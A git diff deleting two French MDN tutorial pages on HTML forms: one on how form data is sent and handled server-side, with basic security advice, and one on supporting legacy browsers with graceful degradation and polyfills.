- - diff --git "a/files/fr/web/guide/html/formulaires/envoyer_et_extraire_les_donn\303\251es_des_formulaires/index.html" "b/files/fr/web/guide/html/formulaires/envoyer_et_extraire_les_donn\303\251es_des_formulaires/index.html" deleted file mode 100644 index bc81996fda..0000000000 --- "a/files/fr/web/guide/html/formulaires/envoyer_et_extraire_les_donn\303\251es_des_formulaires/index.html" +++ /dev/null @@ -1,371 +0,0 @@ ---- -title: Envoyer et extraire les données des formulaires -slug: Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires -tags: - - Débutant - - En-têtes - - Fichier - - Formulaire - - Guide - - HTML - - HTTP - - Sécurité - - Web -translation_of: Learn/Forms/Sending_and_retrieving_form_data ---- -
{{learnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs", "Web/Guide/HTML/Formulaires/Validation_donnees_formulaire", "Web/Guide/HTML/Formulaires")}}
- -

Cet article examine ce qui arrive quand un utilisateur soumet un formulaire — où les données vont-elles et comment les gère-t-on une fois à destination ? Nous examinerons aussi quelques problèmes de sécurité associés à l'envoi des données d'un formulaire.

- - - - - - - - - - - - -
Prérequis :Notions concernant les ordinateurs, compréhension du HTML, et connaissances de base de HTTP et programmation côté serveur.
Objectif :Comprendre ce qui arrive quand les données d'un formulaire sont soumises, y compris les notions de la façon dont les données sont traitées sur le serveur.
- -

Où vont les données ?

- -

Dans ce paragraphe, nous expliquons ce qui arrive aux données lors de la soumission d'un formulaire.

- -

A propos de l'architecture client / serveur

- -

Le web se fonde sur une architecture client/serveur élémentaire ; en résumé : un client (généralement un navigateur Web) envoie une requête à un serveur (le plus souvent un serveur web comme Apache, Nginx, IIS, Tomcat...), en utilisant le protocole HTTP. Le serveur répond à la requête en utilisant le même protocole.

- -

Un schéma élémentaire d'architecture client/serveur sur le Web

- -

Côté client, un formulaire HTML n'est rien d'autre qu'un moyen commode et convivial de configurer une requête HTTP pour envoyer des données à un serveur. L'utilisateur peut ainsi adresser des informations à joindre à la requête HTTP.

- -
-

Note: Pour une meilleure idée du fonctionnement de l'architecture client‑serveur, lisez notre module Programmation d'un site web côté‑serveur : premiers pas.

-
- -

Côté client : définition de la méthode d'envoi des données

- -

L'élément  {{HTMLElement("form")}} définit la méthode d'envoi des données. Tous ses attributs sont conçus pour vous permettre de configurer la requête à envoyer quand un utilisateur presse le bouton d'envoi. Les deux attributs les plus importants sont {{htmlattrxref("action","form")}} et {{htmlattrxref("method","form")}}.

- -

L'attribut {{htmlattrxref("action","form")}}

- -

Cet attribut définit où les données sont envoyées. Sa valeur doit être une URL valide. S'il n'est pas fourni, les données seront envoyées à l'URL de la page contenant le formulaire.

- -

Dans cet exemple, les données sont envoyées à une URL précise — http://foo.com :

- -
<form action="http://foo.com">
- -

Ici, nous utilisons une URL relative — les données sont envoyées à une URL différente sur le serveur :

- -
<form action="/somewhere_else">
- -

Sans attribut, comme ci-dessous, les données de {{HTMLElement("form")}} sont envoyées à la même page que celle du formulaire  :

- -
<form>
- -

De nombreuses pages anciennes utilisent la notation suivante pour indiquer que les données doivent être envoyées à la page qui contient le formulaire. C'était nécessaire car jusqu'à HTML5, l'attribut {{htmlattrxref("action", "form")}} était requis. Il n'y en a donc plus besoin.

- -
<form action="#">
- -
-

Note : Il est possible de spécifier une URL qui utilise le protocole HTTPS (HTTP sécurisé). Quand vous faites ceci, les données sont chiffrées avec le reste de la requête, même si le formulaire lui-même est hébergé dans une page non sécurisée à laquelle on accède via HTTP. D'autre part, si le formulaire est hébergé sur une page sécurisée mais qu'on spécifique une URL non sécurisée avec l'attribut {{htmlattrxref("action","form")}}, tous les navigateurs affichent une alerte de sécurité pour l'utilisateur chaque fois qu'il envoie des données car celles-ci ne sont pas chiffrées.

-
- -

L'attribut {{htmlattrxref("method","form")}}

- -

Cet attribut définit comment les données sont envoyées. Le Protocole HTTP fournit plusieurs façons d'envoyer une requête. Les données des formulaires HTML peuvent être envoyées via au moins deux méthodes : la méthode GET et la méthode POST.

- -

Pour bien comprendre la différence entre ces deux méthodes, il convient d'examiner comment le protocole HTTP marche. Chaque fois qu'on veut atteindre une ressource sur Internet, le navigateur envoie une requête à une URL. Une requête HTTP consiste en deux parties : un en-tête (header) qui contient les métadonnées sur les capacités du navigateur, et un corps (body) qui contient les informations nécessaires au serveur pour effectuer la requête.

- -
La méthode GET
- -

La méthode GET est utilisée par le navigateur pour demander au serveur de renvoyer une certaine ressource. "Hé le serveur, je veux cette ressource." Dans ce cas, le navigateur envoie un corps vide. Du coup, si un formulaire est envoyé avec cette méthode, les données envoyées au serveur sont ajoutées à l'URL.

- -

Considérons le formulaire suivant :

- -
<form action="http://foo.com" method="get">
-  <div>
-    <label for="say">Quel salut voulez-vous adresser ?</label>
-    <input name="say" id="say" value="Hi">
-  </div>
-  <div>
-    <label for="to">À qui voulez‑vous l'adresser ?</label>
-    <input name="to" value="Mom">
-  </div>
-  <div>
-    <button>Send my greetings</button>
-  </div>
-</form>
- -

Comme nous avons utilisé la méthode GET, vous verrez l'URL www.foo.com/?say=Hi&to=Mom apparaître dans la barre du navigateur quand vous soumettez le formulaire.

- -

Message d'erreur: le serveur est introuvable

- -

Les données sont ajoutées à l'URL sous forme d'une suite de paires nom/valeur. À la fin de l'URL de l'adresse Web, il y a un point d'interrogation (?) suivi par les paires nom/valeur séparés par une esperluette (&). Dans ce cas, nous passons deux éléments de données au serveur :

- -
    -
  • say, dont la valeur est  Hi
    • -
  • to, qui a la valeur Mom
    • -
- -

La requête HTTP ressemble à quelque chose comme :

- -
GET /?say=Hi&to=Mom HTTP/1.1
-Host: foo.com
- -
-

Note : Vous trouverez cet exemple sur GitHub — voyez get-method.html (à voir directement aussi).

-
- -
La méthode POST
- -

La méthode POST est un peu différente.C'est la méthode que le navigateur utilise pour demander au serveur une réponse prenant en compte les données contenues dans le corps de la requête HTTP : « Hé serveur ! vois ces données et renvoie-moi le résultat approprié ». Si un formulaire est envoyé avec cette méthode, les données sont ajoutées au corps de la requête HTTP.

- -

Voyons un exemple — c'est le même formulaire que celui que nous avons vu pour GET ci‑dessus, mais avec post comme valeur de l'attribut  {{htmlattrxref("method","form")}}.

- -
<form action="http://foo.com" method="post">
-  <div>
-    <label for="say">Quel salut voulez‑vous adresser ?</label>
-    <input name="say" id="say" value="Hi">
-  </div>
-  <div>
-    <label for="to">À qui voulez‑vous l'adresser ?</label>
-    <input name="to" value="Mom">
-  </div>
-  <div>
-    <button>Send my greetings</button>
-  </div>
-</form>
- -

Quand le formulaire est soumis avec la méthode POST, aucune donnée n'est ajoutée à l'URL et la requête HTTP ressemble à ceci, les données incorporées au corps de requête :

- -
POST / HTTP/1.1
-Host: foo.com
-Content-Type: application/x-www-form-urlencoded
-Content-Length: 13
-
-say=Hi&to=Mom
- -

L'en-tête Content-Length indique la taille du corps, et l'en-tête Content-Type indique le type de ressources envoyées au serveur. Nous discuterons de ces en-têtes dans un moment.

- -
-

Note : Vous trouverez cet exemple sur GitHub — voyez post-method.html (à voir directement aussi).

-
- -

Voir les requêtes HTTP

- -

Les requêtes HTTP ne sont jamais montrées à l'utilisateur (si vous voulez les voir, vous devez utiliser des outils comme la Console Web de Firefox ou les Chrome Developer Tools). À titre d'exemple, les données de formulaire sont visibles comme suit dans l'onglet Chrome Network.  Après avoir soumis le formulaire :

- -
    -
  1. Pressez F12
    2. -
  2. Selectionnez « Réseau »
    3. -
  3. Selectionnez « Tout »
    4. -
  4. Selectionnez « foo.com » dans l'onglet « Nom »
    5. -
  5. Selectionnez « En‑tête »
    6. -
- -

Vous obtiendrez les données du formulaire, comme l'image suivante le montre.

- -

- -

La seule chose affichée à l'utilisateur est l'URL appelée. Comme mentionné ci‑dessus, avec une requête GET l'utilisateur verra les données dans la barre de l'URL, mais avec une requête POST il ne verra rien. Cela peut être important pour deux raisons :

- -
    -
  1. -

    Si vous avez besoin d'envoyer un mot de passe (ou toute autre donnée sensible), n'utilisez jamais la méthode GET ou vous risquez de l'afficher dans la barre d'URL, ce qui serait très peu sûr.

    -
    2. -
  2. -

    Si vous avez besoin d'envoyer une grande quantité de données, la méthode POST est préférable car certains navigateurs limitent la taille des URLs. De plus, de nombreux serveurs limitent la longueur des URL qu'ils acceptent.

    -
    3. -
- -

Côté serveur : récupérer les données

- -

Quelle que soit la méthode HTTP qu'on choisit, le serveur reçoit une chaîne de caractères qui sera décomposée pour récupérer les données comme une liste de paires clé/valeur. La façon d'accéder à cette liste dépend de la plateforme de développement utilisée et des modèles qu'on peut utiliser avec. La technologie utilisée détermine aussi comment les clés dupliquées sont gérées ; souvent, la priorité est donnée à la valeur de clé la plus récente.

- -

Exemple : PHP brut

- -

Le PHP met à disposition des objets globaux pour accéder aux données. En supposant que vous avez utilisé la méthode POST, l'exemple suivant récupère les données et les affiche à l'utilisateur. Bien sûr, ce que vous en faites dépend de vous. Vous pouvez les afficher, les ranger dans une base de données, les envoyer par mail ou les traiter autrement.

- -
<?php
-  // La variable globale $_POST vous donne accès aux données envoyées avec la méthode POST par leur nom
-  // Pour avoir accès aux données envoyées avec la méthode GET, utilisez $_GET
-  $say = htmlspecialchars($_POST['say']);
-  $to  = htmlspecialchars($_POST['to']);
-
-  echo  $say, ' ', $to;
- -

Cet exemple affiche une page avec les données envoyées. Vous pouvez voir ceci opérer avec notre fichier exemple php-example.html — il contient le même formulaire exemple que celui vu précédemment avec la méthode post avec php-example.php en action. À la soumission du formulaire, il envoie les données de ce dernier à php-example.php, contenant le code ci‑dessus. Quand le code est exécuté, la sortie dans le navigateur est Bonjour, M'an.L'exécution du code PHP déclenche l'affichage de Bonjour, M'an

- -
-

Note : Cet exemple ne fonctionnera pas si vous le chargez localement dans un navigateur — les navigateurs ne savent pas interpréter le code PHP, donc quand le formulaire est soumis, le navigateur vous offrira seulement de télécharger le fichier PHP pour vous. Pour qu'il s'exécute, il est nécessaire de lancer l'exemple par l'intermédiaire d'un serveur PHP de n'importe quel type. Les bons choix pour des tests locaux de PHP sont MAMP (Mac et Windows) et AMPPS (Mac, Windows, Linux).

-
- -

Exemple: Python

- -

Cet exemple vous montre comment utiliser Python pour faire la même chose — afficher les données sur une page web. Celui‑ci utilise Flask framework pour le rendu des modèles, la gestion de la soumission des données du formulaire, etc (voyez python-example.py).

- -
from flask import Flask, render_template, request
-app = Flask(__name__)
-
-@app.route('/', methods=['GET', 'POST'])
-def form():
-    return render_template('form.html')
-
-@app.route('/hello', methods=['GET', 'POST'])
-def hello():
-    return render_template('greeting.html', say=request.form['say'], to=request.form['to'])
-
-if __name__ == "__main__":
-    app.run()
- -

Les deux prototypes  référencés dans le code ci‑dessus sont les suivants :

- -
    -
  • form.html : Le même formulaire que celui vu plus haut dans la section {{anch("La méthode POST")}} mais avec l'attribut action défini à la valeur \{{url_for('hello')}}. (C'est un modèle Jinja2, qui est HTML à la base mais peut contenir des appels à du code Python qui fait tourner le serveur web mis entre accolades. url_for('hello') dit en gros  « à rediriger sur /hello quand le formulaire est soumis ».)
    • -
  • greeting.html : Ce modèle contient juste une ligne qui renvoie les deux éléments de donnée qui lui sont passées lors du rendu. Cela est effectué par l'intermédiaire de la fonction hello() vue plus haut qui s'exécute quand l'URL /hello est chargée dans le navigateur.
    • -
- -
-

Note : À nouveau, ce code ne fonctionnera pas si vous tentez de le charger directement dans le navigateur. Python fonctionne un peu différemment de PHP — pour exécuter ce code localement il est nécessaire d'installer Python/PIP, puis Flask avec « pip3 install flask ». À ce moment‑là vous pourrez exécuter l'exemple avec « python3 python-example.py », puis en allant sur « localhost:5000 » dans votre navigateur.

-
- -

Autres langages et canevas de structures

- -

Il y a de nombreuses autres techniques côté serveur utilisables pour gérer des formulaires, comme Perl, Java, .Net, Ruby... retenez juste votre préférée. Cela dit, il faut noter qu'il n'est pas très courant d'utiliser ces techniques directement car cela peut être délicat. Il est plus fréquent d'utiliser l'un des jolis canevas qui permettent de gérer des formulaires plus facilement, comme :

- - - -

Enfin il faut noter que même en utilisant ces canevas, travailler avec des formulaires n'est pas toujours facile. Mais c'est quand même bien plus facile que d'essayer d'en écrire vous‑même les fonctionnalités et cela vous économisera pas mal de temps.

- -
-

Note : Nous déborderions du cadre de cet article en vous initiant aux langages côté serveur ou aux canevas. Les liens ci‑dessus vous donneront des informations si vous souhaitez en apprendre plus.

-
- -

Cas particulier : envoyer des fichiers

- -

L'envoi de fichiers avec une formulaire HTML est cas particulier. Les fichiers sont des données binaires — ou considérées comme telles — alors que toutes les autres données sont des données textuelles. Comme HTTP est un protocole de texte, il y a certaines conditions particulières à remplir pour gérer des données binaires.

- -

L'attribut {{htmlattrxref("enctype","form")}}

- -

Cet attribut vous permet de préciser la valeur de l'en-tête HTTP Content-Type incorporé dans la requête générée au moment de la soumission du formulaire. Cet en-tête est très important car il indique au serveur le type de données envoyées. Par défaut, sa valeur est application/x-www-form-urlencoded. Ce qui signifie : « Ce sont des données de formulaire encodées à l'aide de paramètres URL ».

- -

Mais si vous voulez envoyer des fichiers, il faut faire deux choses en plus :

- -
    -
  • régler l'attribut {{htmlattrxref("method","form")}} à POST car un contenu de fichier ne peut pas être mis dans des paramètres d'URL.
    • -
  • régler la valeur de {{htmlattrxref("enctype","form")}} à multipart/form-data car les données seront coupées en plusieurs parties, une pour chaque fichier plus une pour les données dans le corps du formulaire (si du texte a aussi été entré dans le formulaire).
    • -
  • incorporer un ou plusieurs widgets de sélection de fichiers pour permettre aux utilisateurs de choisir les fichiers à téléverser.
    • -
- -

 Par exemple :

- -
<form method="post" enctype="multipart/form-data">
-  <div>
-    <label for="file">Choose a file</label>
-    <input type="file" id="file" name="myFile">
-  </div>
-  <div>
-    <button>Send the file</button>
-  </div>
-</form>
- -
-

Note : Certains navigateurs prennent en charge l'attribut {{htmlattrxref("multiple","input")}} de l'élément {{HTMLElement("input")}}pour envoyer plus d'un fichier avec seulement un élément d'entrée. La façon dont le serveur gère ces fichiers dépend de la technologie du serveur. Comme évoqué précédemment, utiliser un modèle rendra les choses plus faciles.

-
- -
-

Attention : De nombreux serveurs sont configurés avec une limite de taille pour les fichiers et les requêtes HTTP pour éviter les abus. Il est important de vérifier cette limite avec l'administrateur du serveur avant d'envoyer un fichier.

-
- -

Problèmes courants de sécurité

- -

Chaque fois qu'on envoie des données à un serveur, il faut considérer la sécurité. Les formulaires HTML sont l'un des principaux vecteurs d'attaque (emplacements d'où les attaques peuvent provenir) contre les serveurs. Les problèmes ne viennent jamais des formulaires eux-mêmes — ils proviennent de la façon dont les serveurs gèrent les données.

- -

Selon ce que vous faites, il y a quelques problèmes de sécurité bien connus que vous pouvez aisément contrer :

- -

XSS et CSRF

- -

Les attaques Cross-Site Scripting (XSS) et Cross-Site Request Forgery (CSRF) sont des attaques fréquentes qui surviennent quand vous affichez des données renvoyées par un utilisateur à celui-ci ou à un autre utilisateur. 

- -

XSS permet aux attaquants d'injecter des scripts  côté‑client dans les pages Web vues par d'autres utilisateurs. La vulnérabilité au XSS peut être utilisée par les attaquants pour contourner les contrôles d'accès comme la same-origin policy (ou politique de même origine). Les effets de ces attaques peuvent aller d'une nuisance mineure à un risque significatif de sécurité.

- -

Les attaques CSRF sont similaires aux attaques XSS en ce qu'elles commencent de la même façon — en injectant des scripts côté‑client sur des pages Web — mais leur cible est différente. Les attaquants CSRF essaient d'accroître leurs privilèges pour atteindre ceux d'un utilisateur privilégié (par exemple l'administrateur du site) pour effectuer une action qu'ils ne devraient pas pouvoir faire (par exemple, envoyer des données à un utilisateur non habilité).

- -

Les attaques XSS exploitent la confiance qu'un utilisateur a pour un site, alors que les attaques  CSRF exploitent la confiance qu'un site a pour ses utilisateurs.

- -

Pour éviter ces attaques, vous devez toujours vérifier les données qu'un utilisateur envoie à votre serveur et (si vous avez besoin de les afficher) essayez de ne pas afficher le contenu HTML tel que fourni par l'utilisateur. A la place, vous devez traiter les données fournies par l'utilisateur afin de ne pas les afficher verbatim. La quasi totalité des modèles du marché implémentent un filtre minimum qui enlève les éléments {{HTMLElement("script")}}, {{HTMLElement("iframe")}} et {{HTMLElement("object")}} des données envoyées par les utilisateurs. Cela permet d'atténuer les risques sans toutefois les éradiquer.

- -

Injection SQL

- -

L'injection SQL est un type d'attaque qui essaie d'effectuer certaines actions sur les bases de données utilisées par le site web cible. Cela consiste d'ordinaire à envoyer une requête SQL en espérant que le serveur l'exécutera (généralement quand le serveur essaie de ranger les informations envoyées par un utilisateur). C'est assurément l'un des vecteurs d'attaque les plus fréquents contre les sites web.

- -

Les conséquences peuvent être terribles, de la perte de données à l'accès à l'infrastructure en utilisant l'augmentation des privilèges. C'est une menace sérieuse et vous ne devez jamais ranger des données envoyées par un utilisateur sans asepsie préalable (par exemple en utilisant mysql_real_escape_string() sur une infrastructure PHP/MySQL).

- -

Injection d'en-tête HTTP et injection d'email

- -

Ces attaques peuvent arrivent quand votre application construit des en-têtes HTTP ou des emails basés sur les données entrées par un utilisateur sur un formulaire. Elles ne vont pas directement endommager votre serveur ou affecter vos utilisateurs mais elles sont la porte ouverte à des problèmes plus graves comme le piratage de session ou les attaques par hameçonnage (phishing).

- -

Ces attaques sont généralement silencieuses et peuvent transformer votre serveur en zombie.

- -

Soyez paranoïaque : ne faites jamais confiances à vos utilisateurs

- -

Alors, comment combattre ces menaces ? Ce sujet va bien au-delà de ce guide mais il y a quelques règles à garder en tête. La principale est de ne jamais faire confiance à ses utilisateurs, vous-même compris : même un utilisateur de confiance peut s'être fait pirater.

- -

Toute donnée qui va dans un serveur doit être vérifiée et nettoyée. Toujours. Sans exception.

- -
    -
  • Échappez les caractères putativement dangereux. Les caractères spécifiques avec lesquels vous devez être prudent varient selon le contexte dans lequel les données sont utilisées et de la plate-forme serveur que vous utilisez, mais tous les languages côté serveur ont des fonctions pour cela.
    • -
  • Limitez le volume des données entrantes pour n'autoriser que ce qui est nécessaire.
    • -
  • Faites passer par le bac à sable les fichiers téléversés  (stockez‑les sur un serveur différent et n'autorisez l'accès au fichier que dans un sous-domaine différent, ou mieux, par un nom de domaine complètement différent).
    • -
- -

Vous devriez vous éviter beaucoup de problèmes en suivant ces trois règles, mais cela reste néanmoins une bonne idée de faire un examen de sécurité auprès d'une tierce personne compétente. Ne pensez pas, à tort, avoir anticipé tous les problèmes de sécurité !

- -
-

Note : L'article « Sécurité des sites Web » de notre sujet d'apprentissage « côté‑serveur » discute les problèmes ci‑dessus et leurs solutions possibles plus en détail.

-
- -

Conclusion

- -

Comme vous pouvez le voir, envoyer un formulaire est facile, mais sécuriser son application peut s'avérer plus délicat. N'oubliez pas qu'un développeur n'est pas celui qui doit définir le modèle de sécurité des données. Comme nous allons le voir, il est possible d'effectuer la validation des données côté client, mais le serveur ne peut pas faire confiance à cette validation car il n'a aucun moyen de savoir ce qui se passe réellement du côté client.

- -

Voir aussi

- -

Si vous voulez en savoir plus par rapport aux applications web, vous pouvez consulter ces ressources :

- - - -
-
{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs", "Web/Guide/HTML/Formulaires/Validation_donnees_formulaire", "Web/Guide/HTML/Formulaires")}}
-
- -

Dans ce module

- - diff --git a/files/fr/web/guide/html/formulaires/html_forms_in_legacy_browsers/index.html b/files/fr/web/guide/html/formulaires/html_forms_in_legacy_browsers/index.html deleted file mode 100644 index 6c1d043659..0000000000 --- a/files/fr/web/guide/html/formulaires/html_forms_in_legacy_browsers/index.html +++ /dev/null @@ -1,220 +0,0 @@ ---- -title: Formulaires HTML dans les navigateurs historiques -slug: Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers -translation_of: Learn/Forms/HTML_forms_in_legacy_browsers ---- -
{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires")}}
- -

Tout développeur apprend très rapidement (parfois difficilement) que le Web est un endroit assez inconfortable. Le pire des fléaux est le « navigateur historique ». Oui, admettons‑le, si on dit « navigateur historique », nous pensons tous aux anciennes versions d'Internet Explorer ... mais elles sont loin d'être les seules. Les premières versions de Firefox, comme la version ESR, sont aussi des « navigateurs historiques ». Et dans le monde du mobile ? Quand ni le navigateur ni l'OS ne peut être mis à jour? Oui, il y a beaucoup de vieux smartphones Android ou des iPhones dont le navigateur par défaut n'est pas à jour. Ceux-ci sont aussi des « navigateurs historiques ».

- -

Malheureusement, parcourir cette jungle est une facette du métier. Mais opportunément, il existe quelques astuces pour nous aider à résoudre 80 % des problèmes causés par ces vieilles versions de navigateur.

- -

S'informer sur les difficultés

- -

En fait, lire la documentation sur ces navigateurs est la chose la plus importante pour essayer de comprendre les modèles communs. Par exemple, la prise en charge des CSS est un problème majeur du formulaire HTML dans la plupart des cas. Vous êtes au bon endroit pour commencer. Il suffit de vérifier la prise en charge des éléments (ou interface DOM) que vous voulez utiliser. MDN dispose de tables de compatibilité pour de nombreux éléments, propriétés ou API pouvant être utilisées dans une page Web. Mais il existe d'autres ressources étonnamment utiles :

- -

Documentation du fournisseur du navigateur

- - - -

Documentation indépendante

- -
    -
  • Can I Use a des informations sur la prise en charge des techniques avancées. 
    • -
  • Quirks Mode est une surprenante ressource sur la compatibilité des divers navigateurs. La partie sur les mobiles est la meilleure actuellement disponible.
    • -
  • Position Is Everything est la meilleure ressource disponible sur les bogues de rendu dans les navigateurs historiques et leur solution de contournement (le cas échéant).
    • -
  • Mobile HTML5 dispose d'informations de compatibilité pour une large gamme de navigateurs pour mobiles, et pas seulement pour le « top 5 » (y compris Nokia, Amazon et Blackberry).
    • -
- -

Rendre les choses simples

- -

 

- -

Comme les formulaires HTML impliquent des interactions complexes, une règle empirique : restez aussi simple que possible. Il y a tant de cas où nous voudrions que des formulaires soient  « plus beaux » ou « avec des fonctionnalités avancées » ! Mais construire des formulaires HTML efficaces n'est pas une question de design ou de technique. Pour rappel, prenez le temps de lire cet article sur l'ergonomie des formulaires sur UX For The Masses (en anglais).

- -

La simplification élégante est la meilleure amie du développeur Web

- -

Une simplification élégante et des améliorations progressives sont des modèles de développement qui permettent de construire des grands projets prenant en charge une large gamme de navigateurs simultanément. Quand vous créez quelque chose pour un navigateur moderne, et que vous voudriez être sûrs que, l'un l'autre, il fonctionne sur des navigateurs historiques, vous faites de la simplification élégante.

- -

Voyons quelques exemples relatifs aux formulaires en HTML.

- -

Types d'entrées en HTML

- -

Les nouveaux types d'entrées amenés par HTML5 sont très sympas car la façon dont ils simplifient est grandement prévisible. Si un navigateur ne connaît pas la valeur de l'attribut {{htmlattrxref("type","input")}} d'un élément {{HTMLElement("input")}}, il prendra une valeur text en recours.

- -
<label for="myColor">
- Choisir une couleur
-  <input type="color" id="myColor" name="color">
-</label>
- - - - - - - - - - - - - - -
Chrome 24Firefox 18
Capture d'écran de l'entrée de couleur sur Chrome pour Mac OSXCapture d'écran de l'entrée de couleur sur Firefox
- -

Sélecteurs d'attributs CSS

- -

Les sélecteurs d'attributs CSS sont très utiles avec les formulaires HTML, mais certains navigateurs historiques ne les prennent pas en charge. Dans ce cas, il est courant de doubler le type avec une classe équivalente :

- -
<input type="number" class="number">
- -
input[type=number] {
-  /* Ceci peut échouer avec certains navigateurs */
-}
-
-input.number {
-  /* Ceci fonctionne partout */
-}
- -

Notez que ce qui suit n'est pas utile (car redondant) et peut échouer dans certains navigateurs :

- -
input[type=number],
-input.number {
-  /* Ceci peut échouer dans certains navigateurs ; s'il ne comprennent pas
-     l'un des sélecteurs, il sautent la totalité de la règle */
-}
- -

Boutons et formulaires

- -

Il y a deux manières de définir un bouton dans un formulaire HTML :

- -
    -
  • un élément {{HTMLElement("input")}} avec un attribut {htmlattrxref("type","input")}} défini avec une des valeurs button, submit, reset ou image
    • -
  • un élément {{HTMLElement("button")}}
    • -
- -

L'élément {{HTMLElement("input")}} peut rendre les choses compliquées si vous voulez appliquer des CSS avec un sélecteur d'élément :

- -
<input type="button" class="button" value="Cliquez‑moi">
- -
input {
-  /* Cette règle annule le rendu par défaut défini avec un élément input */
-  border: 1px solid #CCC;
-}
-
-input.button {
-  /* Le rendu par défaut N'EST PAS restauré avec ceci */
-  border: none;
-}
-
-input.button {
-  /* Avec ceci non plus ! En fait, il n'y a pas de méthode standard pour
-     le faire quel que soit le navigateur */
-  border: auto;
-}
- -

L'élément {{HTMLElement("button")}} présente deux problèmes potentiels :

- -
    -
  • -

    un bogue dans certaines anciennes versions d'Internet Explorer. Lorsque l'utilisateur clique sur le bouton, ce n'est pas le contenu de l'attribut {{htmlattrxref("value", "button")}} qui est envoyé, mais le contenu HTML disponible entre balises de début et de fin de l'élément {{HTMLElement("button")}}. Ce n'est un problème que si vous voulez envoyer une telle valeur, par exemple si le traitement des données dépend du bouton sur lequel l'utilisateur clique.

    -
    • -
  • certains navigateurs très anciens n'utilisent pas submit comme valeur par défaut  pour l'attribut {{htmlattrxref("type","button")}}, donc il est recommandé de toujours définir l'attribut {{htmlattrxref("type","button")}} pour les éléments {{HTMLElement("button")}}.
    • -
- -
<!-- Cliquer sur ce boutton envoie « <em>Do A</em> » au lieu de « A » dans certains cas -->
-<button type="submit" name="IWantTo" value="A">
-  <em>Do A</em>
-</button>
- -

Le choix de l'une ou l'autre solution vous appartient, selon les contraintes du projet.

- -

Laissez tomber les CSS

- -

Le plus gros problème avec les formulaires HTML et les navigateurs historiques est la prise en charge des CSS. Comme vous pouvez le constater, vu la complexité de la Table de compatibilité des propriétés pour les widgets de formulaire, c'est très difficile. Même s'il est toujours possible de faire quelques ajustements sur les éléments de texte (comme la taille ou la couleur de police), il y a toujours des effets secondaires. La meilleure approche reste de ne faire aucune composition des widgets de formulaire HTML. Mais vous pouvez toujours appliquer des styles à tous les éléments environnants. Si vous êtes un professionnel et que votre client le réclame, dans ce cas, vous pouvez étudier certaines techniques difficiles telles que la construction de widgets avec JavaScript. Mais dans ce cas, n'hésitez pas à facturer votre client pour ce caprice.

- -

Détection de fonctionnalité et prothèses d'émulation (polyfills)

- -

Bien que JavaScript soit un langage de programmation remarquable pour les navigateurs modernes, les navigateurs historiques ont de nombreux problèmes avec cette technique.

- -

JavaScript non obstructif

- -

Un des plus gros problèmes est la disponibilité des API. Pour cette raison, il est considéré comme de bonne pratique de travailler avec du JavaScript « non obstructif ». C'est un modèle de développement défini par deux obligations :

- -
    -
  • une séparation stricte entre structure et comportement.
    • -
  • si le fil du code casse, le contenu et les fonctionnalités de base doivent rester accessibles et utilisables.
    • -
- -

Les principes d'un JavaScript non obstructif (écrit à l'origine par Peter-Paul Koch pour Dev.Opera.com et maintenant mis sur Docs.WebPlatform.org) descrit très bien ces idées.

- -

La bibliothèque Modernizr

- -

Dans de nombreux cas, une bonne prothèse d'émulation (« polyfill ») peut aider en fournissant une API manquante. Un « polyfill » est un petit morceau de JavaScript qui « remplit un trou » dans les fonctionnalités des navigateurs historiques. Bien qu'ils puissent être utilisés pour améliorer la prise en charge de n'importe quelle fonctionnalité, leur utilisation dans le JavaScript est moins risquée que dans les CSS ou le HTML ; il existe de nombreux cas où JavaScript peut casser (problèmes de réseau, conflits de script, etc.). Mais avec le JavaScript, à condition de travailler avec un JavaScript non obstructif, si les polyfills manquent, ce ne sera pas grave.

- -

La meilleure façon de remplir un trou d'API manquante consiste à utiliser la bibliothèque Modernizr et son projet dérivé : YepNope. Modernizr est une bibliothèque qui vous permet de tester la disponibilité d'une fonctionnalité pour une action en accord. YepNope est une bibliothèqe de chargements conditionnels.

- -

Voici un exemple :

- -
Modernizr.load({
-  // Cette ligne teste si le navigateur prend en charge l'API
-  // de validation de formulaires HTML5
-  test : Modernizr.formvalidation,
-
-  // Si ce n'est pas le cas, le polyfill suivant sera chargé
-  nope : form-validation-API-polyfill.js,
-
-  // En tout cas, le fichier au cœur de l'application, et dont elle dépend,
-  // est chargé
-  both : app.js,
-
-  // Une fois les deux fichiers chargés, cette fonction est appelée
-  // dans le but d'initialiser l'application
-  complete : function () {
-    app.init();
-  }
-});
- -

L'équipe de Modernizr fait une maintenance opportune de grande liste de « polyfills ». Prenez celui dont vous avez besoin.

- -
-

Note : Modernizr a d'autres fonctionnalités remarquables pour faciliter le traitement du JavaScript non obstructif et les tecniques de simplifications élégantes. Prenez connaissance de  la documentation de Modernizr.

-
- -

Faites attention aux performances

- -

Même si des scripts comme Modernizr sont très attentifs aux performances, le chargement d'un polyfill de 200 kilooctets peut affecter les performances de votre application.  Ceci est particulièrement critique avec les navigateurs historiques ; beaucoup d'entre eux ont un moteur JavaScript très lent qui peut rendre l'exécution de tous vos polyfills pénibles pour l'utilisateur. La performance est un sujet en soi ; les navigateurs historiques y sont très sensibles : fondamentalement, ils sont lents et ils ont plus besoin de polyfills, et donc ils ont besoin de traiter encore plus de JavaScript. Ils sont donc doublement surchargés par rapport aux navigateurs modernes. Testez votre code avec les navigateurs historiques pour voir comment leur fonctionnement en conditions réelles. Parfois, l'abandon de certaines fonctionnalités amène un meilleur ressenti pour l'utilisateur que d'avoir exactement la même fonctionnalité dans tous les navigateurs. Dernier rappel : pensez toujours à l'utilisateur final.

- -

Conclusion

- -

Comme vous pouvez le constater, opérer avec des navigateurs historiques  n'est pas qu'une question de formulaires. C'est tout un ensemble de techniques ; mais les maîtriser toutes dépasserait le cadre de cet article.

- -

Si vous avez lu tous les articles de ce guide à propos des formulaires en HTML, vous devriez maintenant être à l'aise avec leur utilisation. Si vous trouvez de nouvelles techniques ou de nouvelles astuces, aidez‑nous à améliorer ce guide.

- -

{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires")}}

- -

Dans ce module

